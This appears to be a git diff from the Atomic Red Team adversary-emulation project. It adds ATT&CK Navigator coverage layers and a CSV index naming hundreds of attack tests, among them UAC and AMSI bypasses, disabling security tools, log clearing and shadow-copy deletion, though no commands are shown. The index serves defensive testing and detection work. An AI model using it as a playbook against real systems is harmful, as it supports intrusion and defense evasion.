diff --git a/README.md b/README.md index 69401bf0..3d6f3095 100644 --- a/README.md +++ b/README.md @@ -40,11 +40,11 @@ Join the community on Slack at [https://atomicredteam.slack.com](https://atomicr * [Getting Started With Atomic Tests](https://atomicredteam.io/testing) * Automated Test Execution with the [Execution Frameworks](https://github.com/redcanaryco/atomic-red-team/blob/master/execution-frameworks) -* Peruse the [Complete list of Atomic Tests](atomics/index.md) and the [ATT&CK Matrix](atomics/matrix.md) - - Windows [Tests](atomics/windows-index.md) and [Matrix](atomics/windows-matrix.md) - - macOS [Tests](atomics/macos-index.md) and [Matrix](atomics/macos-matrix.md) - - Linux [Tests](atomics/linux-index.md) and [Matrix](atomics/linux-matrix.md) -* Using [ATT&CK Navigator](https://github.com/mitre-attack/attack-navigator)? Check out our [coverage layer](atomics/art_navigator_layer.json) +* Peruse the Complete list of Atomic Tests ([md](atomics/Indexes-Markdown/index.md), [csv](atomics/Indexes-CSV/index-by-tactic.md)) and the [ATT&CK Matrix](atomics/Matrices/matrix.md) + - Windows [Matrix](atomics/Matrices/windows-matrix.md) and tests by tactic ([md](atomics/Indexes-Markdown/windows-index.md), [csv](atomics/Indexes-CSV/windows-index.csv)) + - MacOS [Matrix](atomics/Matrices/macos-matrix.md) and tests by tactic ([md](atomics/Indexes-Markdown/macos-index.md), [csv](atomics/Indexes-CSV/macos-index.csv)) + - Linux [Matrix](atomics/Matrices/linux-matrix.md) and tests by tactic ([md](atomics/Indexes-Markdown/linux-index.md), [csv](atomics/Indexes-CSV/linux-index.csv)) +* Using [ATT&CK Navigator](https://github.com/mitre-attack/attack-navigator)? Check out our coverage layers ([All](atomics/Attack-Navigator-Layers/art-navigator-layer.json), [Windows](atomics/Attack-Navigator-Layers/art-navigator-layer-windows.json), [MacOS](atomics/Attack-Navigator-Layers/art-navigator-layer-macos.json), [Linux](atomics/Attack-Navigator-Layers/art-navigator-layer-linux.json)) * [Fork](https://github.com/redcanaryco/atomic-red-team/fork) and [Contribute](https://atomicredteam.io/contributing) your own modifications * Have questions? Join the community on Slack at [https://atomicredteam.slack.com](https://atomicredteam.slack.com) * Need a Slack invitation? Grab one at [https://slack.atomicredteam.io/](https://slack.atomicredteam.io/) diff --git a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-linux.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-linux.json new file mode 100644 index 00000000..74a63344 --- /dev/null +++ b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-linux.json @@ -0,0 +1 @@ +{"version":"2.2","name":"Atomic Red Team","description":"Atomic Red Team MITRE ATT&CK Navigator Layer","domain":"mitre-enterprise","gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1002","score":100,"enabled":true},{"techniqueID":"T1009","score":100,"enabled":true},{"techniqueID":"T1014","score":100,"enabled":true},{"techniqueID":"T1016","score":100,"enabled":true},{"techniqueID":"T1018","score":100,"enabled":true},{"techniqueID":"T1022","score":100,"enabled":true},{"techniqueID":"T1027","score":100,"enabled":true},{"techniqueID":"T1030","score":100,"enabled":true},{"techniqueID":"T1033","score":100,"enabled":true},{"techniqueID":"T1036","score":100,"enabled":true},{"techniqueID":"T1040","score":100,"enabled":true},{"techniqueID":"T1046","score":100,"enabled":true},{"techniqueID":"T1048","score":100,"enabled":true},{"techniqueID":"T1049","score":100,"enabled":true},{"techniqueID":"T1055","score":100,"enabled":true},{"techniqueID":"T1057","score":100,"enabled":true},{"techniqueID":"T1059","score":100,"enabled":true},{"techniqueID":"T1063","score":100,"enabled":true},{"techniqueID":"T1064","score":100,"enabled":true},{"techniqueID":"T1065","score":100,"enabled":true},{"techniqueID":"T1069","score":100,"enabled":true},{"techniqueID":"T1070","score":100,"enabled":true},{"techniqueID":"T1071","score":100,"enabled":true},{"techniqueID":"T1074","score":100,"enabled":true},{"techniqueID":"T1081","score":100,"enabled":true},{"techniqueID":"T1082","score":100,"enabled":true},{"techniqueID":"T1083","score":100,"enabled":true},{"techniqueID":"T1087","score":100,"enabled":true},{"techniqueID":"T1089","score":100,"enabled":true},{"techniqueID":"T1090","score":100,"enabled":true},{"techniqueID":"T1099","score":100,"enabled":true},{"techniqueID":"T1105","score":100,"enabled":true},{"techniqueID":"T1107","score":100,"enabled":true},{"techniqueID":"T1113","score":100,"enabled":true},{"techniqueID":"T1130","score":100,"enabled":true},{"techniqueID":"T1132","score":100,"enabled":true},{"techniqueID":"T1135","score":100,"enabled":true},{"techniqueID":"T1136","score":100,"enabled":true},{"techniqueID":"T1139","score":100,"enabled":true},{"techniqueID":"T1145","score":100,"enabled":true},{"techniqueID":"T1146","score":100,"enabled":true},{"techniqueID":"T1148","score":100,"enabled":true},{"techniqueID":"T1153","score":100,"enabled":true},{"techniqueID":"T1154","score":100,"enabled":true},{"techniqueID":"T1156","score":100,"enabled":true},{"techniqueID":"T1158","score":100,"enabled":true},{"techniqueID":"T1166","score":100,"enabled":true},{"techniqueID":"T1168","score":100,"enabled":true},{"techniqueID":"T1169","score":100,"enabled":true},{"techniqueID":"T1176","score":100,"enabled":true},{"techniqueID":"T1201","score":100,"enabled":true},{"techniqueID":"T1206","score":100,"enabled":true},{"techniqueID":"T1215","score":100,"enabled":true},{"techniqueID":"T1217","score":100,"enabled":true},{"techniqueID":"T1222","score":100,"enabled":true},{"techniqueID":"T1485","score":100,"enabled":true},{"techniqueID":"T1496","score":100,"enabled":true},{"techniqueID":"T1501","score":100,"enabled":true},{"techniqueID":"T1529","score":100,"enabled":true}]} \ No newline at end of file diff --git a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-macos.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-macos.json new file mode 100644 index 00000000..3bc6a405 --- /dev/null +++ b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-macos.json @@ -0,0 +1 @@ +{"version":"2.2","name":"Atomic Red Team","description":"Atomic Red Team MITRE ATT&CK Navigator Layer","domain":"mitre-enterprise","gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1002","score":100,"enabled":true},{"techniqueID":"T1005","score":100,"enabled":true},{"techniqueID":"T1009","score":100,"enabled":true},{"techniqueID":"T1016","score":100,"enabled":true},{"techniqueID":"T1018","score":100,"enabled":true},{"techniqueID":"T1022","score":100,"enabled":true},{"techniqueID":"T1027","score":100,"enabled":true},{"techniqueID":"T1030","score":100,"enabled":true},{"techniqueID":"T1033","score":100,"enabled":true},{"techniqueID":"T1037","score":100,"enabled":true},{"techniqueID":"T1040","score":100,"enabled":true},{"techniqueID":"T1046","score":100,"enabled":true},{"techniqueID":"T1048","score":100,"enabled":true},{"techniqueID":"T1049","score":100,"enabled":true},{"techniqueID":"T1057","score":100,"enabled":true},{"techniqueID":"T1059","score":100,"enabled":true},{"techniqueID":"T1063","score":100,"enabled":true},{"techniqueID":"T1064","score":100,"enabled":true},{"techniqueID":"T1065","score":100,"enabled":true},{"techniqueID":"T1069","score":100,"enabled":true},{"techniqueID":"T1070","score":100,"enabled":true},{"techniqueID":"T1071","score":100,"enabled":true},{"techniqueID":"T1074","score":100,"enabled":true},{"techniqueID":"T1081","score":100,"enabled":true},{"techniqueID":"T1082","score":100,"enabled":true},{"techniqueID":"T1083","score":100,"enabled":true},{"techniqueID":"T1087","score":100,"enabled":true},{"techniqueID":"T1089","score":100,"enabled":true},{"techniqueID":"T1090","score":100,"enabled":true},{"techniqueID":"T1099","score":100,"enabled":true},{"techniqueID":"T1105","score":100,"enabled":true},{"techniqueID":"T1107","score":100,"enabled":true},{"techniqueID":"T1113","score":100,"enabled":true},{"techniqueID":"T1132","score":100,"enabled":true},{"techniqueID":"T1135","score":100,"enabled":true},{"techniqueID":"T1136","score":100,"enabled":true},{"techniqueID":"T1139","score":100,"enabled":true},{"techniqueID":"T1141","score":100,"enabled":true},{"techniqueID":"T1142","score":100,"enabled":true},{"techniqueID":"T1144","score":100,"enabled":true},{"techniqueID":"T1145","score":100,"enabled":true},{"techniqueID":"T1146","score":100,"enabled":true},{"techniqueID":"T1147","score":100,"enabled":true},{"techniqueID":"T1148","score":100,"enabled":true},{"techniqueID":"T1150","score":100,"enabled":true},{"techniqueID":"T1151","score":100,"enabled":true},{"techniqueID":"T1152","score":100,"enabled":true},{"techniqueID":"T1153","score":100,"enabled":true},{"techniqueID":"T1154","score":100,"enabled":true},{"techniqueID":"T1155","score":100,"enabled":true},{"techniqueID":"T1156","score":100,"enabled":true},{"techniqueID":"T1158","score":100,"enabled":true},{"techniqueID":"T1159","score":100,"enabled":true},{"techniqueID":"T1160","score":100,"enabled":true},{"techniqueID":"T1163","score":100,"enabled":true},{"techniqueID":"T1164","score":100,"enabled":true},{"techniqueID":"T1165","score":100,"enabled":true},{"techniqueID":"T1166","score":100,"enabled":true},{"techniqueID":"T1168","score":100,"enabled":true},{"techniqueID":"T1169","score":100,"enabled":true},{"techniqueID":"T1176","score":100,"enabled":true},{"techniqueID":"T1201","score":100,"enabled":true},{"techniqueID":"T1206","score":100,"enabled":true},{"techniqueID":"T1217","score":100,"enabled":true},{"techniqueID":"T1222","score":100,"enabled":true},{"techniqueID":"T1485","score":100,"enabled":true},{"techniqueID":"T1496","score":100,"enabled":true},{"techniqueID":"T1519","score":100,"enabled":true},{"techniqueID":"T1529","score":100,"enabled":true}]} \ No newline at end of file diff --git a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-windows.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-windows.json new file mode 100644 index 00000000..30788ea6 --- /dev/null +++ b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-windows.json @@ -0,0 +1 @@ +{"version":"2.2","name":"Atomic Red Team","description":"Atomic Red Team MITRE ATT&CK Navigator Layer","domain":"mitre-enterprise","gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1002","score":100,"enabled":true},{"techniqueID":"T1003","score":100,"enabled":true},{"techniqueID":"T1004","score":100,"enabled":true},{"techniqueID":"T1007","score":100,"enabled":true},{"techniqueID":"T1010","score":100,"enabled":true},{"techniqueID":"T1012","score":100,"enabled":true},{"techniqueID":"T1014","score":100,"enabled":true},{"techniqueID":"T1015","score":100,"enabled":true},{"techniqueID":"T1016","score":100,"enabled":true},{"techniqueID":"T1018","score":100,"enabled":true},{"techniqueID":"T1022","score":100,"enabled":true},{"techniqueID":"T1023","score":100,"enabled":true},{"techniqueID":"T1027","score":100,"enabled":true},{"techniqueID":"T1028","score":100,"enabled":true},{"techniqueID":"T1031","score":100,"enabled":true},{"techniqueID":"T1032","score":100,"enabled":true},{"techniqueID":"T1033","score":100,"enabled":true},{"techniqueID":"T1035","score":100,"enabled":true},{"techniqueID":"T1036","score":100,"enabled":true},{"techniqueID":"T1037","score":100,"enabled":true},{"techniqueID":"T1038","score":100,"enabled":true},{"techniqueID":"T1040","score":100,"enabled":true},{"techniqueID":"T1042","score":100,"enabled":true},{"techniqueID":"T1044","score":100,"enabled":true},{"techniqueID":"T1047","score":100,"enabled":true},{"techniqueID":"T1048","score":100,"enabled":true},{"techniqueID":"T1049","score":100,"enabled":true},{"techniqueID":"T1050","score":100,"enabled":true},{"techniqueID":"T1053","score":100,"enabled":true},{"techniqueID":"T1055","score":100,"enabled":true},{"techniqueID":"T1056","score":100,"enabled":true},{"techniqueID":"T1057","score":100,"enabled":true},{"techniqueID":"T1058","score":100,"enabled":true},{"techniqueID":"T1060","score":100,"enabled":true},{"techniqueID":"T1062","score":100,"enabled":true},{"techniqueID":"T1063","score":100,"enabled":true},{"techniqueID":"T1064","score":100,"enabled":true},{"techniqueID":"T1065","score":100,"enabled":true},{"techniqueID":"T1069","score":100,"enabled":true},{"techniqueID":"T1070","score":100,"enabled":true},{"techniqueID":"T1071","score":100,"enabled":true},{"techniqueID":"T1073","score":100,"enabled":true},{"techniqueID":"T1074","score":100,"enabled":true},{"techniqueID":"T1075","score":100,"enabled":true},{"techniqueID":"T1076","score":100,"enabled":true},{"techniqueID":"T1077","score":100,"enabled":true},{"techniqueID":"T1081","score":100,"enabled":true},{"techniqueID":"T1082","score":100,"enabled":true},{"techniqueID":"T1083","score":100,"enabled":true},{"techniqueID":"T1084","score":100,"enabled":true},{"techniqueID":"T1085","score":100,"enabled":true},{"techniqueID":"T1086","score":100,"enabled":true},{"techniqueID":"T1087","score":100,"enabled":true},{"techniqueID":"T1088","score":100,"enabled":true},{"techniqueID":"T1089","score":100,"enabled":true},{"techniqueID":"T1090","score":100,"enabled":true},{"techniqueID":"T1093","score":100,"enabled":true},{"techniqueID":"T1095","score":100,"enabled":true},{"techniqueID":"T1096","score":100,"enabled":true},{"techniqueID":"T1097","score":100,"enabled":true},{"techniqueID":"T1098","score":100,"enabled":true},{"techniqueID":"T1099","score":100,"enabled":true},{"techniqueID":"T1100","score":100,"enabled":true},{"techniqueID":"T1101","score":100,"enabled":true},{"techniqueID":"T1102","score":100,"enabled":true},{"techniqueID":"T1103","score":100,"enabled":true},{"techniqueID":"T1105","score":100,"enabled":true},{"techniqueID":"T1107","score":100,"enabled":true},{"techniqueID":"T1110","score":100,"enabled":true},{"techniqueID":"T1112","score":100,"enabled":true},{"techniqueID":"T1114","score":100,"enabled":true},{"techniqueID":"T1115","score":100,"enabled":true},{"techniqueID":"T1117","score":100,"enabled":true},{"techniqueID":"T1118","score":100,"enabled":true},{"techniqueID":"T1119","score":100,"enabled":true},{"techniqueID":"T1121","score":100,"enabled":true},{"techniqueID":"T1123","score":100,"enabled":true},{"techniqueID":"T1124","score":100,"enabled":true},{"techniqueID":"T1126","score":100,"enabled":true},{"techniqueID":"T1127","score":100,"enabled":true},{"techniqueID":"T1128","score":100,"enabled":true},{"techniqueID":"T1135","score":100,"enabled":true},{"techniqueID":"T1136","score":100,"enabled":true},{"techniqueID":"T1137","score":100,"enabled":true},{"techniqueID":"T1138","score":100,"enabled":true},{"techniqueID":"T1140","score":100,"enabled":true},{"techniqueID":"T1141","score":100,"enabled":true},{"techniqueID":"T1143","score":100,"enabled":true},{"techniqueID":"T1145","score":100,"enabled":true},{"techniqueID":"T1158","score":100,"enabled":true},{"techniqueID":"T1170","score":100,"enabled":true},{"techniqueID":"T1173","score":100,"enabled":true},{"techniqueID":"T1174","score":100,"enabled":true},{"techniqueID":"T1176","score":100,"enabled":true},{"techniqueID":"T1179","score":100,"enabled":true},{"techniqueID":"T1180","score":100,"enabled":true},{"techniqueID":"T1183","score":100,"enabled":true},{"techniqueID":"T1191","score":100,"enabled":true},{"techniqueID":"T1193","score":100,"enabled":true},{"techniqueID":"T1196","score":100,"enabled":true},{"techniqueID":"T1197","score":100,"enabled":true},{"techniqueID":"T1201","score":100,"enabled":true},{"techniqueID":"T1202","score":100,"enabled":true},{"techniqueID":"T1204","score":100,"enabled":true},{"techniqueID":"T1207","score":100,"enabled":true},{"techniqueID":"T1208","score":100,"enabled":true},{"techniqueID":"T1214","score":100,"enabled":true},{"techniqueID":"T1216","score":100,"enabled":true},{"techniqueID":"T1217","score":100,"enabled":true},{"techniqueID":"T1218","score":100,"enabled":true},{"techniqueID":"T1219","score":100,"enabled":true},{"techniqueID":"T1220","score":100,"enabled":true},{"techniqueID":"T1222","score":100,"enabled":true},{"techniqueID":"T1223","score":100,"enabled":true},{"techniqueID":"T1482","score":100,"enabled":true},{"techniqueID":"T1485","score":100,"enabled":true},{"techniqueID":"T1489","score":100,"enabled":true},{"techniqueID":"T1490","score":100,"enabled":true},{"techniqueID":"T1500","score":100,"enabled":true},{"techniqueID":"T1502","score":100,"enabled":true},{"techniqueID":"T1504","score":100,"enabled":true},{"techniqueID":"T1505","score":100,"enabled":true},{"techniqueID":"T1518","score":100,"enabled":true},{"techniqueID":"T1529","score":100,"enabled":true},{"techniqueID":"T1531","score":100,"enabled":true}]} \ No newline at end of file diff --git a/atomics/art_navigator_layer.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer.json similarity index 100% rename from atomics/art_navigator_layer.json rename to atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer.json diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv new file mode 100644 index 00000000..31911c65 --- /dev/null +++ b/atomics/Indexes/Indexes-CSV/index.csv @@ -0,0 +1,655 @@ +Tactic,Technique #,Test #,Test Name +persistence,T1156,1,Add command to .bash_profile +persistence,T1156,2,Add command to .bashrc +persistence,T1015,1,Attaches Command Prompt as a Debugger to a List of Target Processes +persistence,T1098,1,Admin Account Manipulate +persistence,T1103,1,Install AppInit Shim +persistence,T1138,1,Application Shim Installation +persistence,T1138,2,New shim database files created in the default shim database directory +persistence,T1138,3,Registry key creation and/or modification events for SDB +persistence,T1197,1,Bitsadmin Download (cmd) +persistence,T1197,2,Bitsadmin Download (PowerShell) +persistence,T1197,3,"Persist, Download, & Execute" +persistence,T1176,1,Chrome (Developer Mode) +persistence,T1176,2,Chrome (Chrome Web Store) +persistence,T1176,3,Firefox +persistence,T1042,1,Change Default File Association +persistence,T1136,1,Create a user account on a Linux system +persistence,T1136,2,Create a user account on a MacOS system +persistence,T1136,3,Create a new user in a command prompt +persistence,T1136,4,Create a new user in PowerShell +persistence,T1136,5,Create a new user in Linux with `root` UID and GID. +persistence,T1038,1,DLL Search Order Hijacking - amsi.dll +persistence,T1519,1,Persistance with Event Monitor - emond +persistence,T1044,1,File System Permissions Weakness +persistence,T1158,1,Create a hidden file in a hidden directory +persistence,T1158,2,Mac Hidden file +persistence,T1158,3,Create Windows System File with Attrib +persistence,T1158,4,Create Windows Hidden File with Attrib +persistence,T1158,5,Hidden files +persistence,T1158,6,Hide a Directory +persistence,T1158,7,Show all hidden files +persistence,T1158,8,Create ADS command prompt +persistence,T1158,9,Create ADS PowerShell +persistence,T1179,1,Hook PowerShell TLS Encrypt/Decrypt Messages +persistence,T1062,1,Installing Hyper-V Feature +persistence,T1183,1,IFEO Add Debugger +persistence,T1183,2,IFEO Global Flags +persistence,T1215,1,Linux - Load Kernel Module via insmod +persistence,T1159,1,Launch Agent +persistence,T1160,1,Launch Daemon +persistence,T1152,1,Launchctl +persistence,T1168,1,Cron - Replace crontab with referenced file +persistence,T1168,2,Cron - Add script to cron folder +persistence,T1168,3,Event Monitor Daemon Persistence +persistence,T1037,1,Logon Scripts +persistence,T1037,2,Scheduled Task Startup Script +persistence,T1037,3,Logon Scripts - Mac +persistence,T1037,4,Supicious vbs file run from startup Folder +persistence,T1037,5,Supicious jse file run from startup Folder +persistence,T1037,6,Supicious bat file run from startup Folder +persistence,T1031,1,Modify Fax service to run PowerShell +persistence,T1128,1,Netsh Helper DLL Registration +persistence,T1050,1,Service Installation +persistence,T1050,2,Service Installation PowerShell +persistence,T1137,1,DDEAUTO +persistence,T1150,1,Plist Modification +persistence,T1504,1,Append malicious start-process cmdlet +persistence,T1163,1,rc.common +persistence,T1164,1,Re-Opened Applications +persistence,T1164,2,Re-Opened Applications +persistence,T1060,1,Reg Key Run +persistence,T1060,2,Reg Key RunOnce +persistence,T1060,3,PowerShell Registry RunOnce +persistence,T1053,1,At.exe Scheduled task +persistence,T1053,2,Scheduled task Local +persistence,T1053,3,Scheduled task Remote +persistence,T1053,4,Powershell Cmdlet Scheduled Task +persistence,T1180,1,Set Arbitrary Binary as Screensaver +persistence,T1101,1,Modify SSP configuration in registry +persistence,T1505,1,Install MS Exchange Transport Agent Persistence +persistence,T1058,1,Service Registry Permissions Weakness +persistence,T1166,1,Make and modify binary from C source +persistence,T1166,2,Set a SetUID flag on file +persistence,T1166,3,Set a SetGID flag on file +persistence,T1023,1,Shortcut Modification +persistence,T1023,2,Create shortcut to cmd in startup folders +persistence,T1165,1,add file to Local Library StartupItems +persistence,T1501,1,Create Systemd Service +persistence,T1154,1,Trap +persistence,T1100,1,Web Shell Written to Disk +persistence,T1084,1,Persistence +persistence,T1004,1,Winlogon Shell Key Persistence - PowerShell +persistence,T1004,2,Winlogon Userinit Key Persistence - PowerShell +persistence,T1004,3,Winlogon Notify Key Logon Persistence - PowerShell +defense-evasion,T1197,1,Bitsadmin Download (cmd) +defense-evasion,T1197,2,Bitsadmin Download (PowerShell) +defense-evasion,T1197,3,"Persist, Download, & Execute" +defense-evasion,T1009,1,Pad Binary to Change Hash - Linux/macOS dd +defense-evasion,T1088,1,Bypass UAC using Event Viewer (cmd) +defense-evasion,T1088,2,Bypass UAC using Event Viewer (PowerShell) +defense-evasion,T1088,3,Bypass UAC using Fodhelper +defense-evasion,T1088,4,Bypass UAC using Fodhelper - PowerShell +defense-evasion,T1088,5,Bypass UAC using ComputerDefaults (PowerShell) +defense-evasion,T1088,6,Bypass UAC by Mocking Trusted Directories +defense-evasion,T1191,1,CMSTP Executing Remote Scriptlet +defense-evasion,T1191,2,CMSTP Executing UAC Bypass +defense-evasion,T1146,1,Clear Bash history (rm) +defense-evasion,T1146,2,Clear Bash history (echo) +defense-evasion,T1146,3,Clear Bash history (cat dev/null) +defense-evasion,T1146,4,Clear Bash history (ln dev/null) +defense-evasion,T1146,5,Clear Bash history (truncate) +defense-evasion,T1146,6,Clear history of a bunch of shells +defense-evasion,T1500,1,Compile After Delivery using csc.exe +defense-evasion,T1223,1,Compiled HTML Help Local Payload +defense-evasion,T1223,2,Compiled HTML Help Remote Payload +defense-evasion,T1090,1,Connection Proxy +defense-evasion,T1090,2,portproxy reg key +defense-evasion,T1196,1,Control Panel Items +defense-evasion,T1207,1,DCShadow - Mimikatz +defense-evasion,T1038,1,DLL Search Order Hijacking - amsi.dll +defense-evasion,T1073,1,DLL Side-Loading using the Notepad++ GUP.exe binary +defense-evasion,T1140,1,Deobfuscate/Decode Files Or Information +defense-evasion,T1140,2,Certutil Rename and Decode +defense-evasion,T1089,1,Disable iptables firewall +defense-evasion,T1089,2,Disable syslog +defense-evasion,T1089,3,Disable Cb Response +defense-evasion,T1089,4,Disable SELinux +defense-evasion,T1089,5,Disable Carbon Black Response +defense-evasion,T1089,6,Disable LittleSnitch +defense-evasion,T1089,7,Disable OpenDNS Umbrella +defense-evasion,T1089,8,Unload Sysmon Filter Driver +defense-evasion,T1089,9,Disable Windows IIS HTTP Logging +defense-evasion,T1089,10,Uninstall Sysmon +defense-evasion,T1089,11,AMSI Bypass - AMSI InitFailed +defense-evasion,T1089,12,AMSI Bypass - Remove AMSI Provider Reg Key +defense-evasion,T1089,13,Disable Arbitrary Security Windows Service +defense-evasion,T1089,14,Disable PowerShell Script Block Logging +defense-evasion,T1089,15,PowerShell Bypass of AntiMalware Scripting Interface +defense-evasion,T1089,16,Tamper with Windows Defender ATP PowerShell +defense-evasion,T1089,17,Tamper with Windows Defender Command Prompt +defense-evasion,T1089,18,Tamper with Windows Defender Registry +defense-evasion,T1089,19,Disable Microft Office Security Features +defense-evasion,T1089,20,Remove Windows Defender Definition Files +defense-evasion,T1107,1,Delete a single file - Linux/macOS +defense-evasion,T1107,2,Delete an entire folder - Linux/macOS +defense-evasion,T1107,3,Overwrite and delete a file with shred +defense-evasion,T1107,4,Delete a single file - Windows cmd +defense-evasion,T1107,5,Delete an entire folder - Windows cmd +defense-evasion,T1107,6,Delete a single file - Windows PowerShell +defense-evasion,T1107,7,Delete an entire folder - Windows PowerShell +defense-evasion,T1107,8,Delete VSS - vssadmin +defense-evasion,T1107,9,Delete VSS - wmic +defense-evasion,T1107,10,bcdedit +defense-evasion,T1107,11,wbadmin +defense-evasion,T1107,12,Delete Filesystem - Linux +defense-evasion,T1107,13,Delete-PrefetchFile +defense-evasion,T1107,14,Delete TeamViewer Log Files +defense-evasion,T1222,1,Take ownership using takeown utility +defense-evasion,T1222,2,Take ownership recursively using takeown utility +defense-evasion,T1222,3,cacls - Grant permission to specified user or group +defense-evasion,T1222,4,cacls - Grant permission to specified user or group recursively +defense-evasion,T1222,5,icacls - Grant permission to specified user or group +defense-evasion,T1222,6,icacls - Grant permission to specified user or group recursively +defense-evasion,T1222,7,attrib - Remove read-only attribute +defense-evasion,T1222,8,chmod - Change file or folder mode (numeric mode) +defense-evasion,T1222,9,chmod - Change file or folder mode (symbolic mode) +defense-evasion,T1222,10,chmod - Change file or folder mode (numeric mode) recursively +defense-evasion,T1222,11,chmod - Change file or folder mode (symbolic mode) recursively +defense-evasion,T1222,12,chown - Change file or folder ownership and group +defense-evasion,T1222,13,chown - Change file or folder ownership and group recursively +defense-evasion,T1222,14,chown - Change file or folder mode ownership only +defense-evasion,T1222,15,chown - Change file or folder ownership recursively +defense-evasion,T1222,16,chattr - Remove immutable file attribute +defense-evasion,T1144,1,Gatekeeper Bypass +defense-evasion,T1148,1,Disable history collection +defense-evasion,T1148,2,Mac HISTCONTROL +defense-evasion,T1158,1,Create a hidden file in a hidden directory +defense-evasion,T1158,2,Mac Hidden file +defense-evasion,T1158,3,Create Windows System File with Attrib +defense-evasion,T1158,4,Create Windows Hidden File with Attrib +defense-evasion,T1158,5,Hidden files +defense-evasion,T1158,6,Hide a Directory +defense-evasion,T1158,7,Show all hidden files +defense-evasion,T1158,8,Create ADS command prompt +defense-evasion,T1158,9,Create ADS PowerShell +defense-evasion,T1147,1,Hidden Users +defense-evasion,T1143,1,Hidden Window +defense-evasion,T1183,1,IFEO Add Debugger +defense-evasion,T1183,2,IFEO Global Flags +defense-evasion,T1070,1,Clear Logs +defense-evasion,T1070,2,FSUtil +defense-evasion,T1070,3,rm -rf +defense-evasion,T1070,4,Overwrite Linux Mail Spool +defense-evasion,T1070,5,Overwrite Linux Log +defense-evasion,T1070,6,Delete System Logs Using PowerShell +defense-evasion,T1070,7,Delete System Logs Using Clear-EventLogId +defense-evasion,T1202,1,Indirect Command Execution - pcalua.exe +defense-evasion,T1202,2,Indirect Command Execution - forfiles.exe +defense-evasion,T1130,1,Install root CA on CentOS/RHEL +defense-evasion,T1118,1,CheckIfInstallable method call +defense-evasion,T1118,2,InstallHelper method call +defense-evasion,T1118,3,InstallUtil class constructor method call +defense-evasion,T1118,4,InstallUtil Install method call +defense-evasion,T1118,5,InstallUtil Uninstall method call - /U variant +defense-evasion,T1118,6,InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant +defense-evasion,T1118,7,InstallUtil HelpText method call +defense-evasion,T1118,8,InstallUtil evasive invocation +defense-evasion,T1152,1,Launchctl +defense-evasion,T1036,1,Masquerading as Windows LSASS process +defense-evasion,T1036,2,Masquerading as Linux crond process. +defense-evasion,T1036,3,Masquerading - cscript.exe running as notepad.exe +defense-evasion,T1036,4,Masquerading - wscript.exe running as svchost.exe +defense-evasion,T1036,5,Masquerading - powershell.exe running as taskhostw.exe +defense-evasion,T1036,6,Masquerading - non-windows exe running as windows exe +defense-evasion,T1036,7,Masquerading - windows exe running as different windows exe +defense-evasion,T1036,8,Malicious process Masquerading as LSM.exe +defense-evasion,T1112,1,Modify Registry of Current User Profile - cmd +defense-evasion,T1112,2,Modify Registry of Local Machine - cmd +defense-evasion,T1112,3,Modify Registry of Another User Profile +defense-evasion,T1112,4,Modify registry to store logon credentials +defense-evasion,T1112,5,Modify registry to store PowerShell code +defense-evasion,T1112,6,Add domain to Trusted sites Zone +defense-evasion,T1112,7,Javascript in registry +defense-evasion,T1170,1,Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject +defense-evasion,T1170,2,Mshta calls a local VBScript file to launch notepad.exe +defense-evasion,T1170,3,Mshta executes VBScript to execute malicious command +defense-evasion,T1170,4,Mshta Executes Remote HTML Application (HTA) +defense-evasion,T1096,1,Alternate Data Streams (ADS) +defense-evasion,T1096,2,Store file in Alternate Data Stream (ADS) +defense-evasion,T1126,1,Add Network Share +defense-evasion,T1126,2,Remove Network Share +defense-evasion,T1126,3,Remove Network Share PowerShell +defense-evasion,T1027,1,Decode base64 Data into Script +defense-evasion,T1027,2,Execute base64-encoded PowerShell +defense-evasion,T1027,3,Execute base64-encoded PowerShell from Windows Registry +defense-evasion,T1502,1,Parent PID Spoofing using PowerShell +defense-evasion,T1150,1,Plist Modification +defense-evasion,T1093,1,Process Hollowing using PowerShell +defense-evasion,T1055,1,Process Injection via mavinject.exe +defense-evasion,T1055,2,Process Injection via PowerSploit +defense-evasion,T1055,3,Shared Library Injection via /etc/ld.so.preload +defense-evasion,T1055,4,Shared Library Injection via LD_PRELOAD +defense-evasion,T1055,5,Process Injection via C# +defense-evasion,T1055,6,svchost writing a file to a UNC path +defense-evasion,T1121,1,Regasm Uninstall Method Call Test +defense-evasion,T1121,2,Regsvs Uninstall Method Call Test +defense-evasion,T1117,1,Regsvr32 local COM scriptlet execution +defense-evasion,T1117,2,Regsvr32 remote COM scriptlet execution +defense-evasion,T1117,3,Regsvr32 local DLL execution +defense-evasion,T1014,1,Loadable Kernel Module based Rootkit +defense-evasion,T1014,2,Loadable Kernel Module based Rootkit +defense-evasion,T1014,3,Windows Signed Driver Rootkit Test +defense-evasion,T1085,1,Rundll32 execute JavaScript Remote Payload With GetObject +defense-evasion,T1085,2,Rundll32 execute VBscript command +defense-evasion,T1085,3,Rundll32 advpack.dll Execution +defense-evasion,T1085,4,Rundll32 ieadvpack.dll Execution +defense-evasion,T1085,5,Rundll32 syssetup.dll Execution +defense-evasion,T1085,6,Rundll32 setupapi.dll Execution +defense-evasion,T1064,1,Create and Execute Bash Shell Script +defense-evasion,T1064,2,Create and Execute Batch Script +defense-evasion,T1218,1,mavinject - Inject DLL into running process +defense-evasion,T1218,2,SyncAppvPublishingServer - Execute arbitrary PowerShell code +defense-evasion,T1218,3,Register-CimProvider - Execute evil dll 